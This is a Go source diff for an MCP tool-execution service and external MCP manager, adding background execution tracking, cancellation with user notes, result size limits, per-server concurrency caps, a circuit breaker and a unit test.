|
||||||
|
if err := s.storage.SaveToolExecution(runningExec); err != nil {
|
||||||
|
s.logger.Warn("保存执行记录到数据库失败", zap.Error(err), zap.String("executionId", runningExec.ID))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *ExecutionService) finishEntry(ctx context.Context, entry *executionEntry, result *ToolResult, err error, onDone ExecutionDoneFunc) {
|
||||||
|
id := entry.exec.ID
|
||||||
|
cancelledWithUserNote := s.applyAbortUserNoteToCancelledToolResult(id, &result, &err)
|
||||||
|
|
||||||
|
now := time.Now()
|
||||||
|
s.mu.Lock()
|
||||||
|
spill := ToolResultSpillConfig{
|
||||||
|
RootDir: s.spillRootDir,
|
||||||
|
ConversationID: entry.exec.ConversationID,
|
||||||
|
ExecutionID: id,
|
||||||
|
}
|
||||||
|
if ctx != nil {
|
||||||
|
if pid := MCPProjectIDFromContext(ctx); pid != "" {
|
||||||
|
spill.ProjectID = pid
|
||||||
|
}
|
||||||
|
if conv := MCPConversationIDFromContext(ctx); conv != "" {
|
||||||
|
spill.ConversationID = conv
|
||||||
|
}
|
||||||
|
}
|
||||||
|
result = NormalizeToolResultForStorageWithSpill(result, s.resultMaxBytes, spill)
|
||||||
|
entry.result = result
|
||||||
|
entry.err = err
|
||||||
|
entry.exec.EndTime = &now
|
||||||
|
entry.exec.Duration = now.Sub(entry.exec.StartTime)
|
||||||
|
if err != nil {
|
||||||
|
switch {
|
||||||
|
case errors.Is(err, context.DeadlineExceeded):
|
||||||
|
entry.exec.Status = ToolExecutionStatusHardTimeout
|
||||||
|
entry.exec.Error = "工具执行超过硬超时限制"
|
||||||
|
case errors.Is(err, context.Canceled):
|
||||||
|
entry.exec.Status = ToolExecutionStatusCancelled
|
||||||
|
entry.exec.Error = "已手动终止或任务已取消"
|
||||||
|
default:
|
||||||
|
entry.exec.Status = ToolExecutionStatusFailed
|
||||||
|
entry.exec.Error = err.Error()
|
||||||
|
}
|
||||||
|
} else if result != nil && result.IsError {
|
||||||
|
if cancelledWithUserNote {
|
||||||
|
entry.exec.Status = ToolExecutionStatusCancelled
|
||||||
|
entry.exec.Error = ""
|
||||||
|
} else if isBackgroundWaitToolResult(result) {
|
||||||
|
entry.exec.Status = ToolExecutionStatusCompleted
|
||||||
|
entry.exec.Error = ""
|
||||||
|
} else {
|
||||||
|
entry.exec.Status = ToolExecutionStatusFailed
|
||||||
|
entry.exec.Error = firstToolResultText(result, "工具执行返回错误结果")
|
||||||
|
}
|
||||||
|
entry.exec.Result = result
|
||||||
|
} else {
|
||||||
|
entry.exec.Status = ToolExecutionStatusCompleted
|
||||||
|
if result == nil {
|
||||||
|
result = &ToolResult{Content: []Content{{Type: "text", Text: "工具执行完成,但未返回结果"}}}
|
||||||
|
entry.result = result
|
||||||
|
}
|
||||||
|
entry.exec.Result = result
|
||||||
|
}
|
||||||
|
finalExec := cloneToolExecution(entry.exec)
|
||||||
|
s.mu.Unlock()
|
||||||
|
|
||||||
|
if s.storage != nil {
|
||||||
|
if saveErr := s.storage.SaveToolExecution(finalExec); saveErr != nil {
|
||||||
|
s.logger.Warn("保存执行记录到数据库失败", zap.Error(saveErr), zap.String("executionId", id))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if onDone != nil {
|
||||||
|
onDone(finalExec)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func nilSafeRun(ctx context.Context, entry *executionEntry) (*ToolResult, error) {
|
||||||
|
if entry == nil {
|
||||||
|
return nil, fmt.Errorf("execution entry is nil")
|
||||||
|
}
|
||||||
|
if entry.run == nil {
|
||||||
|
return nil, fmt.Errorf("execution run func not wired")
|
||||||
|
}
|
||||||
|
return entry.run(ctx)
|
||||||
|
}
|
||||||
|
|
||||||
|
func entryResultRecover(ctx context.Context, toolName string, logger *zap.Logger, fn func() (*ToolResult, error)) (res *ToolResult, err error) {
|
||||||
|
defer func() {
|
||||||
|
if r := recover(); r != nil {
|
||||||
|
if logger != nil {
|
||||||
|
logger.Error("tool execution worker panic recovered", zap.Any("recover", r), zap.String("toolName", toolName), zap.Stack("stack"))
|
||||||
|
}
|
||||||
|
err = fmt.Errorf("tool execution panic: %v", r)
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
return fn()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *ExecutionService) Wait(ctx context.Context, executionID string, timeout time.Duration) (*ExecutionSnapshot, error) {
|
||||||
|
entry := s.getEntry(executionID)
|
||||||
|
if entry == nil {
|
||||||
|
return s.getPersistedSnapshot(executionID)
|
||||||
|
}
|
||||||
|
if isExecutionTerminal(entry.exec.Status) {
|
||||||
|
return &ExecutionSnapshot{Execution: cloneToolExecution(entry.exec)}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
var timeoutCh <-chan time.Time
|
||||||
|
var timer *time.Timer
|
||||||
|
if timeout > 0 {
|
||||||
|
timer = time.NewTimer(timeout)
|
||||||
|
timeoutCh = timer.C
|
||||||
|
defer timer.Stop()
|
||||||
|
}
|
||||||
|
|
||||||
|
select {
|
||||||
|
case <-entry.done:
|
||||||
|
return &ExecutionSnapshot{Execution: cloneToolExecution(entry.exec)}, nil
|
||||||
|
case <-timeoutCh:
|
||||||
|
return &ExecutionSnapshot{Execution: cloneToolExecution(entry.exec)}, ErrExecutionWaitTimeout
|
||||||
|
case <-ctxDone(ctx):
|
||||||
|
return &ExecutionSnapshot{Execution: cloneToolExecution(entry.exec)}, ctx.Err()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *ExecutionService) Get(executionID string) (*ExecutionSnapshot, error) {
|
||||||
|
entry := s.getEntry(executionID)
|
||||||
|
if entry != nil {
|
||||||
|
return &ExecutionSnapshot{Execution: cloneToolExecution(entry.exec)}, nil
|
||||||
|
}
|
||||||
|
return s.getPersistedSnapshot(executionID)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *ExecutionService) AppendPartialOutput(executionID, chunk string) bool {
|
||||||
|
id := strings.TrimSpace(executionID)
|
||||||
|
if s == nil || id == "" || chunk == "" {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
now := time.Now()
|
||||||
|
s.mu.Lock()
|
||||||
|
defer s.mu.Unlock()
|
||||||
|
entry := s.entries[id]
|
||||||
|
if entry == nil || entry.exec == nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
appendPartialOutput(entry.exec, chunk, defaultPartialOutputMaxBytes, now)
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *ExecutionService) Cancel(executionID, note string) bool {
|
||||||
|
id := strings.TrimSpace(executionID)
|
||||||
|
if id == "" || s == nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
s.mu.Lock()
|
||||||
|
entry := s.entries[id]
|
||||||
|
if entry == nil || isExecutionTerminal(entry.exec.Status) {
|
||||||
|
s.mu.Unlock()
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(note) != "" {
|
||||||
|
s.abortUserNotes[id] = strings.TrimSpace(note)
|
||||||
|
}
|
||||||
|
cancel := entry.cancel
|
||||||
|
s.mu.Unlock()
|
||||||
|
if cancel != nil {
|
||||||
|
cancel()
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *ExecutionService) ActiveRunningExecutionIDs() map[string]struct{} {
|
||||||
|
if s == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
s.mu.Lock()
|
||||||
|
defer s.mu.Unlock()
|
||||||
|
out := make(map[string]struct{})
|
||||||
|
for id, entry := range s.entries {
|
||||||
|
if entry != nil && entry.exec != nil && !isExecutionTerminal(entry.exec.Status) {
|
||||||
|
out[id] = struct{}{}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if len(out) == 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *ExecutionService) CancelAll(note string) {
|
||||||
|
if s == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
s.mu.Lock()
|
||||||
|
cancels := make([]context.CancelFunc, 0, len(s.entries))
|
||||||
|
for id, entry := range s.entries {
|
||||||
|
if entry == nil || isExecutionTerminal(entry.exec.Status) {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(note) != "" {
|
||||||
|
s.abortUserNotes[id] = strings.TrimSpace(note)
|
||||||
|
}
|
||||||
|
if entry.cancel != nil {
|
||||||
|
cancels = append(cancels, entry.cancel)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
s.mu.Unlock()
|
||||||
|
for _, cancel := range cancels {
|
||||||
|
cancel()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *ExecutionService) getEntry(executionID string) *executionEntry {
|
||||||
|
if s == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
id := strings.TrimSpace(executionID)
|
||||||
|
if id == "" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
s.mu.Lock()
|
||||||
|
defer s.mu.Unlock()
|
||||||
|
return s.entries[id]
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *ExecutionService) getPersistedSnapshot(executionID string) (*ExecutionSnapshot, error) {
|
||||||
|
id := strings.TrimSpace(executionID)
|
||||||
|
if id == "" {
|
||||||
|
return nil, fmt.Errorf("execution_id is required")
|
||||||
|
}
|
||||||
|
if s != nil && s.storage != nil {
|
||||||
|
exec, err := s.storage.GetToolExecution(id)
|
||||||
|
if err == nil && exec != nil {
|
||||||
|
return &ExecutionSnapshot{Execution: exec}, nil
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil, fmt.Errorf("execution not found: %s", id)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *ExecutionService) applyAbortUserNoteToCancelledToolResult(executionID string, result **ToolResult, err *error) (cancelledWithUserNote bool) {
|
||||||
|
note := strings.TrimSpace(s.takeAbortUserNote(executionID))
|
||||||
|
if note == "" {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
hasErr := err != nil && *err != nil
|
||||||
|
hasRes := result != nil && *result != nil
|
||||||
|
if !hasErr && !hasRes {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
partial := ""
|
||||||
|
if hasRes {
|
||||||
|
partial = ToolResultPlainText(*result)
|
||||||
|
}
|
||||||
|
if partial == "" && hasErr {
|
||||||
|
partial = (*err).Error()
|
||||||
|
}
|
||||||
|
merged := MergePartialToolOutputAndAbortNote(partial, note)
|
||||||
|
if err != nil {
|
||||||
|
*err = nil
|
||||||
|
}
|
||||||
|
if result != nil {
|
||||||
|
*result = &ToolResult{Content: []Content{{Type: "text", Text: merged}}, IsError: true}
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *ExecutionService) takeAbortUserNote(id string) string {
|
||||||
|
s.mu.Lock()
|
||||||
|
defer s.mu.Unlock()
|
||||||
|
note := s.abortUserNotes[id]
|
||||||
|
delete(s.abortUserNotes, id)
|
||||||
|
return note
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *ExecutionService) cleanupOldEntriesLocked() {
|
||||||
|
if s.maxInMemory <= 0 || len(s.entries) <= s.maxInMemory {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
type oldEntry struct {
|
||||||
|
id string
|
||||||
|
startTime time.Time
|
||||||
|
}
|
||||||
|
var terminal []oldEntry
|
||||||
|
for id, entry := range s.entries {
|
||||||
|
if entry != nil && entry.exec != nil && isExecutionTerminal(entry.exec.Status) {
|
||||||
|
terminal = append(terminal, oldEntry{id: id, startTime: entry.exec.StartTime})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for len(s.entries) > s.maxInMemory && len(terminal) > 0 {
|
||||||
|
oldest := 0
|
||||||
|
for i := 1; i < len(terminal); i++ {
|
||||||
|
if terminal[i].startTime.Before(terminal[oldest].startTime) {
|
||||||
|
oldest = i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
delete(s.entries, terminal[oldest].id)
|
||||||
|
terminal = append(terminal[:oldest], terminal[oldest+1:]...)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func firstToolResultText(result *ToolResult, fallback string) string {
|
||||||
|
if result != nil {
|
||||||
|
for _, c := range result.Content {
|
||||||
|
if strings.TrimSpace(c.Text) != "" {
|
||||||
|
return c.Text
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return fallback
|
||||||
|
}
|
||||||
|
|
||||||
|
func isBackgroundWaitToolResult(result *ToolResult) bool {
|
||||||
|
text := strings.ToLower(strings.TrimSpace(ToolResultPlainText(result)))
|
||||||
|
if text == "" {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
hasExecutionID := strings.Contains(text, "execution_id:") || strings.Contains(text, `"execution_id"`)
|
||||||
|
hasRunningStatus := strings.Contains(text, "status: running") || strings.Contains(text, "status: queued") ||
|
||||||
|
strings.Contains(text, `"status": "running"`) || strings.Contains(text, `"status":"running"`) ||
|
||||||
|
strings.Contains(text, `"status": "queued"`) || strings.Contains(text, `"status":"queued"`)
|
||||||
|
hasSoftWaitSignal := strings.Contains(text, "工具已提交到后台执行") ||
|
||||||
|
strings.Contains(text, "本次等待已到达") ||
|
||||||
|
strings.Contains(text, "wait_timeout:") ||
|
||||||
|
strings.Contains(text, "background execution") ||
|
||||||
|
strings.Contains(text, "still running") ||
|
||||||
|
strings.Contains(text, "仍未完成")
|
||||||
|
return hasExecutionID && hasRunningStatus && hasSoftWaitSignal
|
||||||
|
}
|
||||||
|
|
||||||
|
func isExecutionTerminal(status string) bool {
|
||||||
|
switch strings.TrimSpace(strings.ToLower(status)) {
|
||||||
|
case ToolExecutionStatusCompleted, ToolExecutionStatusFailed, ToolExecutionStatusCancelled, ToolExecutionStatusHardTimeout, ToolExecutionStatusOrphaned:
|
||||||
|
return true
|
||||||
|
default:
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func ctxDone(ctx context.Context) <-chan struct{} {
|
||||||
|
if ctx == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return ctx.Done()
|
||||||
|
}
|
||||||
|
|
||||||
|
func detachedExecutionContext(ctx context.Context) context.Context {
|
||||||
|
if ctx == nil {
|
||||||
|
return context.Background()
|
||||||
|
}
|
||||||
|
return context.WithoutCancel(ctx)
|
||||||
|
}
|
||||||
|
|
||||||
|
func cloneArgsMap(in map[string]interface{}) map[string]interface{} {
|
||||||
|
if in == nil {
|
||||||
|
return map[string]interface{}{}
|
||||||
|
}
|
||||||
|
out := make(map[string]interface{}, len(in))
|
||||||
|
for k, v := range in {
|
||||||
|
out[k] = v
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func cloneToolExecution(in *ToolExecution) *ToolExecution {
|
||||||
|
if in == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
out := *in
|
||||||
|
out.Arguments = cloneArgsMap(in.Arguments)
|
||||||
|
if in.Result != nil {
|
||||||
|
res := *in.Result
|
||||||
|
if in.Result.Content != nil {
|
||||||
|
res.Content = append([]Content(nil), in.Result.Content...)
|
||||||
|
}
|
||||||
|
out.Result = &res
|
||||||
|
}
|
||||||
|
if in.EndTime != nil {
|
||||||
|
t := *in.EndTime
|
||||||
|
out.EndTime = &t
|
||||||
|
}
|
||||||
|
if in.PartialOutputUpdatedAt != nil {
|
||||||
|
t := *in.PartialOutputUpdatedAt
|
||||||
|
out.PartialOutputUpdatedAt = &t
|
||||||
|
}
|
||||||
|
return &out
|
||||||
|
}
|
||||||
|
|
||||||
|
func appendPartialOutput(exec *ToolExecution, chunk string, maxBytes int, updatedAt time.Time) {
|
||||||
|
if exec == nil || chunk == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if maxBytes <= 0 {
|
||||||
|
maxBytes = defaultPartialOutputMaxBytes
|
||||||
|
}
|
||||||
|
exec.PartialOutputBytes += int64(len([]byte(chunk)))
|
||||||
|
combined := exec.PartialOutput + chunk
|
||||||
|
if len([]byte(combined)) > maxBytes {
|
||||||
|
b := []byte(combined)
|
||||||
|
combined = string(b[len(b)-maxBytes:])
|
||||||
|
exec.PartialOutputTruncated = true
|
||||||
|
}
|
||||||
|
exec.PartialOutput = combined
|
||||||
|
t := updatedAt
|
||||||
|
exec.PartialOutputUpdatedAt = &t
|
||||||
|
}
|
||||||
@@ -0,0 +1,41 @@
|
|||||||
|
package mcp
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestExecutionServiceBackgroundWaitResultCompletesWaitTool(t *testing.T) {
|
||||||
|
service := NewExecutionService(nil, nil)
|
||||||
|
handle, err := service.Submit(context.Background(), ExecutionRequest{
|
||||||
|
ToolName: "wait_tool_execution",
|
||||||
|
Run: func(context.Context) (*ToolResult, error) {
|
||||||
|
return &ToolResult{
|
||||||
|
Content: []Content{{Type: "text", Text: `{
|
||||||
|
"execution_id": "3eaaa391-050b-4be1-a870-48a855923cb7",
|
||||||
|
"tool": "exec",
|
||||||
|
"status": "running"
|
||||||
|
}
|
||||||
|
|
||||||
|
本次等待已到达 timeout_seconds,上述 execution 仍未完成。可继续等待、取消,或采用其他步骤。`}},
|
||||||
|
IsError: true,
|
||||||
|
}, nil
|
||||||
|
},
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("Submit: %v", err)
|
||||||
|
}
|
||||||
|
snap, err := service.Wait(context.Background(), handle.ID, 0)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("Wait: %v", err)
|
||||||
|
}
|
||||||
|
if snap == nil || snap.Execution == nil {
|
||||||
|
t.Fatal("missing execution snapshot")
|
||||||
|
}
|
||||||
|
if snap.Execution.Status != ToolExecutionStatusCompleted {
|
||||||
|
t.Fatalf("status = %q, want %q", snap.Execution.Status, ToolExecutionStatusCompleted)
|
||||||
|
}
|
||||||
|
if snap.Execution.Result == nil || !snap.Execution.Result.IsError {
|
||||||
|
t.Fatal("model-facing result should remain IsError")
|
||||||
|
}
|
||||||
|
}
|
||||||
+375
-130
@@ -2,6 +2,7 @@ package mcp
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
@@ -11,8 +12,6 @@ import (
|
|||||||
"cyberstrike-ai/internal/authctx"
|
"cyberstrike-ai/internal/authctx"
|
||||||
"cyberstrike-ai/internal/config"
|
"cyberstrike-ai/internal/config"
|
||||||
|
|
||||||
"github.com/google/uuid"
|
|
||||||
|
|
||||||
"go.uber.org/zap"
|
"go.uber.org/zap"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -36,32 +35,52 @@ type listToolsInflight struct {
|
|||||||
err error
|
err error
|
||||||
}
|
}
|
||||||
|
|
||||||
|
type ExternalMCPResilienceConfig struct {
|
||||||
|
MaxConcurrentPerServer int
|
||||||
|
MaxConcurrentTotal int
|
||||||
|
CircuitFailureThreshold int
|
||||||
|
CircuitCooldown time.Duration
|
||||||
|
}
|
||||||
|
|
||||||
|
type externalMCPServerRuntime struct {
|
||||||
|
semaphore chan struct{}
|
||||||
|
consecutiveFailures int
|
||||||
|
circuitOpenUntil time.Time
|
||||||
|
}
|
||||||
|
|
||||||
// ExternalMCPManager 外部MCP管理器
|
// ExternalMCPManager 外部MCP管理器
|
||||||
type ExternalMCPManager struct {
|
type ExternalMCPManager struct {
|
||||||
clients map[string]ExternalMCPClient
|
clients map[string]ExternalMCPClient
|
||||||
configs map[string]config.ExternalMCPServerConfig
|
configs map[string]config.ExternalMCPServerConfig
|
||||||
logger *zap.Logger
|
logger *zap.Logger
|
||||||
storage MonitorStorage // 可选的持久化存储
|
storage MonitorStorage // 可选的持久化存储
|
||||||
executions map[string]*ToolExecution // 执行记录
|
executions map[string]*ToolExecution // 执行记录
|
||||||
stats map[string]*ToolStats // 工具统计信息
|
stats map[string]*ToolStats // 工具统计信息
|
||||||
errors map[string]string // 错误信息
|
errors map[string]string // 错误信息
|
||||||
toolCounts map[string]int // 工具数量缓存
|
toolCounts map[string]int // 工具数量缓存
|
||||||
toolCountsMu sync.RWMutex // 工具数量缓存的锁
|
toolCountsMu sync.RWMutex // 工具数量缓存的锁
|
||||||
toolCache map[string]toolListCacheEntry // 工具列表缓存:MCP名称 -> 工具列表
|
toolCache map[string]toolListCacheEntry // 工具列表缓存:MCP名称 -> 工具列表
|
||||||
toolCacheMu sync.RWMutex // 工具列表缓存的锁
|
toolCacheMu sync.RWMutex // 工具列表缓存的锁
|
||||||
listToolsMu sync.Mutex
|
listToolsMu sync.Mutex
|
||||||
listToolsInflight map[string]*listToolsInflight
|
listToolsInflight map[string]*listToolsInflight
|
||||||
stopRefresh chan struct{} // 停止后台刷新的信号
|
stopRefresh chan struct{} // 停止后台刷新的信号
|
||||||
refreshWg sync.WaitGroup // 等待后台刷新goroutine完成
|
refreshWg sync.WaitGroup // 等待后台刷新goroutine完成
|
||||||
refreshing atomic.Bool // 防止 refreshToolCounts 并发堆积
|
refreshing atomic.Bool // 防止 refreshToolCounts 并发堆积
|
||||||
mu sync.RWMutex
|
mu sync.RWMutex
|
||||||
runningCancels map[string]context.CancelFunc
|
runningCancels map[string]context.CancelFunc
|
||||||
abortUserNotes map[string]string
|
abortUserNotes map[string]string
|
||||||
reconnectMu sync.Mutex
|
reconnectMu sync.Mutex
|
||||||
reconnecting map[string]bool
|
reconnecting map[string]bool
|
||||||
reconnectLastTry map[string]time.Time
|
reconnectLastTry map[string]time.Time
|
||||||
reconnectAttempts map[string]int
|
reconnectAttempts map[string]int
|
||||||
toolAuthorizer func(context.Context, string, map[string]interface{}) error
|
toolAuthorizer func(context.Context, string, map[string]interface{}) error
|
||||||
|
executionService *ExecutionService
|
||||||
|
toolWaitTimeout time.Duration
|
||||||
|
toolResultMaxBytes int
|
||||||
|
spillRootDir string
|
||||||
|
resilience ExternalMCPResilienceConfig
|
||||||
|
serverRuntimes map[string]*externalMCPServerRuntime
|
||||||
|
globalSemaphore chan struct{}
|
||||||
}
|
}
|
||||||
|
|
||||||
// NewExternalMCPManager 创建外部MCP管理器
|
// NewExternalMCPManager 创建外部MCP管理器
|
||||||
@@ -80,28 +99,119 @@ func (m *ExternalMCPManager) SetToolAuthorizer(authorizer func(context.Context,
|
|||||||
// NewExternalMCPManagerWithStorage 创建外部MCP管理器(带持久化存储)
|
// NewExternalMCPManagerWithStorage 创建外部MCP管理器(带持久化存储)
|
||||||
func NewExternalMCPManagerWithStorage(logger *zap.Logger, storage MonitorStorage) *ExternalMCPManager {
|
func NewExternalMCPManagerWithStorage(logger *zap.Logger, storage MonitorStorage) *ExternalMCPManager {
|
||||||
manager := &ExternalMCPManager{
|
manager := &ExternalMCPManager{
|
||||||
clients: make(map[string]ExternalMCPClient),
|
clients: make(map[string]ExternalMCPClient),
|
||||||
configs: make(map[string]config.ExternalMCPServerConfig),
|
configs: make(map[string]config.ExternalMCPServerConfig),
|
||||||
logger: logger,
|
logger: logger,
|
||||||
storage: storage,
|
storage: storage,
|
||||||
executions: make(map[string]*ToolExecution),
|
executions: make(map[string]*ToolExecution),
|
||||||
stats: make(map[string]*ToolStats),
|
stats: make(map[string]*ToolStats),
|
||||||
errors: make(map[string]string),
|
errors: make(map[string]string),
|
||||||
toolCounts: make(map[string]int),
|
toolCounts: make(map[string]int),
|
||||||
toolCache: make(map[string]toolListCacheEntry),
|
toolCache: make(map[string]toolListCacheEntry),
|
||||||
listToolsInflight: make(map[string]*listToolsInflight),
|
listToolsInflight: make(map[string]*listToolsInflight),
|
||||||
stopRefresh: make(chan struct{}),
|
stopRefresh: make(chan struct{}),
|
||||||
runningCancels: make(map[string]context.CancelFunc),
|
runningCancels: make(map[string]context.CancelFunc),
|
||||||
abortUserNotes: make(map[string]string),
|
abortUserNotes: make(map[string]string),
|
||||||
reconnecting: make(map[string]bool),
|
reconnecting: make(map[string]bool),
|
||||||
reconnectLastTry: make(map[string]time.Time),
|
reconnectLastTry: make(map[string]time.Time),
|
||||||
reconnectAttempts: make(map[string]int),
|
reconnectAttempts: make(map[string]int),
|
||||||
|
toolWaitTimeout: 60 * time.Second,
|
||||||
|
toolResultMaxBytes: DefaultToolResultMaxBytes,
|
||||||
|
resilience: ExternalMCPResilienceConfig{
|
||||||
|
MaxConcurrentPerServer: 2,
|
||||||
|
MaxConcurrentTotal: 16,
|
||||||
|
CircuitFailureThreshold: 3,
|
||||||
|
CircuitCooldown: 60 * time.Second,
|
||||||
|
},
|
||||||
|
serverRuntimes: make(map[string]*externalMCPServerRuntime),
|
||||||
|
globalSemaphore: make(chan struct{}, 16),
|
||||||
}
|
}
|
||||||
|
manager.executionService = NewExecutionService(storage, logger)
|
||||||
// 启动后台刷新工具数量的goroutine
|
// 启动后台刷新工具数量的goroutine
|
||||||
manager.startToolCountRefresh()
|
manager.startToolCountRefresh()
|
||||||
return manager
|
return manager
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (m *ExternalMCPManager) ConfigureToolResultMaxBytes(maxBytes int) {
|
||||||
|
if m == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
m.mu.Lock()
|
||||||
|
m.toolResultMaxBytes = maxBytes
|
||||||
|
m.mu.Unlock()
|
||||||
|
if m.executionService != nil {
|
||||||
|
m.executionService.ConfigureToolResultMaxBytes(maxBytes)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ConfigureToolResultSpillRoot sets the local directory root used when oversized
|
||||||
|
// tool results are spilled (aligned with reduction_root_dir; empty → tmp/reduction).
|
||||||
|
func (m *ExternalMCPManager) ConfigureToolResultSpillRoot(rootDir string) {
|
||||||
|
if m == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
m.mu.Lock()
|
||||||
|
m.spillRootDir = strings.TrimSpace(rootDir)
|
||||||
|
m.mu.Unlock()
|
||||||
|
if m.executionService != nil {
|
||||||
|
m.executionService.ConfigureToolResultSpillRoot(rootDir)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ConfigureToolWaitTimeoutSeconds controls how long an agent-facing tool call
|
||||||
|
// waits for an external MCP execution before returning an execution_id that can
|
||||||
|
// be polled with wait_tool_execution. seconds<=0 waits until completion.
|
||||||
|
func (m *ExternalMCPManager) ConfigureToolWaitTimeoutSeconds(seconds int) {
|
||||||
|
if m == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
m.mu.Lock()
|
||||||
|
defer m.mu.Unlock()
|
||||||
|
if seconds <= 0 {
|
||||||
|
m.toolWaitTimeout = 0
|
||||||
|
return
|
||||||
|
}
|
||||||
|
m.toolWaitTimeout = time.Duration(seconds) * time.Second
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *ExternalMCPManager) ConfigureResilience(cfg ExternalMCPResilienceConfig) {
|
||||||
|
if m == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
normalized := normalizeExternalMCPResilienceConfig(cfg)
|
||||||
|
m.mu.Lock()
|
||||||
|
defer m.mu.Unlock()
|
||||||
|
m.resilience = normalized
|
||||||
|
m.serverRuntimes = make(map[string]*externalMCPServerRuntime)
|
||||||
|
if normalized.MaxConcurrentTotal > 0 {
|
||||||
|
m.globalSemaphore = make(chan struct{}, normalized.MaxConcurrentTotal)
|
||||||
|
} else {
|
||||||
|
m.globalSemaphore = nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func normalizeExternalMCPResilienceConfig(cfg ExternalMCPResilienceConfig) ExternalMCPResilienceConfig {
|
||||||
|
if cfg.MaxConcurrentPerServer == 0 {
|
||||||
|
cfg.MaxConcurrentPerServer = 2
|
||||||
|
}
|
||||||
|
if cfg.MaxConcurrentTotal == 0 {
|
||||||
|
cfg.MaxConcurrentTotal = 16
|
||||||
|
}
|
||||||
|
if cfg.CircuitFailureThreshold == 0 {
|
||||||
|
cfg.CircuitFailureThreshold = 3
|
||||||
|
}
|
||||||
|
if cfg.CircuitCooldown <= 0 {
|
||||||
|
cfg.CircuitCooldown = 60 * time.Second
|
||||||
|
}
|
||||||
|
if cfg.MaxConcurrentPerServer < 0 {
|
||||||
|
cfg.MaxConcurrentPerServer = 0
|
||||||
|
}
|
||||||
|
if cfg.MaxConcurrentTotal < 0 {
|
||||||
|
cfg.MaxConcurrentTotal = 0
|
||||||
|
}
|
||||||
|
return cfg
|
||||||
|
}
|
||||||
|
|
||||||
// LoadConfigs 加载配置
|
// LoadConfigs 加载配置
|
||||||
func (m *ExternalMCPManager) LoadConfigs(cfg *config.ExternalMCPConfig) {
|
func (m *ExternalMCPManager) LoadConfigs(cfg *config.ExternalMCPConfig) {
|
||||||
m.mu.Lock()
|
m.mu.Lock()
|
||||||
@@ -588,6 +698,9 @@ func (m *ExternalMCPManager) CallTool(ctx context.Context, toolName string, args
|
|||||||
if !exists {
|
if !exists {
|
||||||
return nil, "", fmt.Errorf("外部MCP客户端不存在: %s", mcpName)
|
return nil, "", fmt.Errorf("外部MCP客户端不存在: %s", mcpName)
|
||||||
}
|
}
|
||||||
|
if err := m.checkExternalMCPCircuit(mcpName); err != nil {
|
||||||
|
return nil, "", err
|
||||||
|
}
|
||||||
|
|
||||||
// 检查连接状态,如果未连接或状态为error,不允许调用
|
// 检查连接状态,如果未连接或状态为error,不允许调用
|
||||||
if !client.IsConnected() {
|
if !client.IsConnected() {
|
||||||
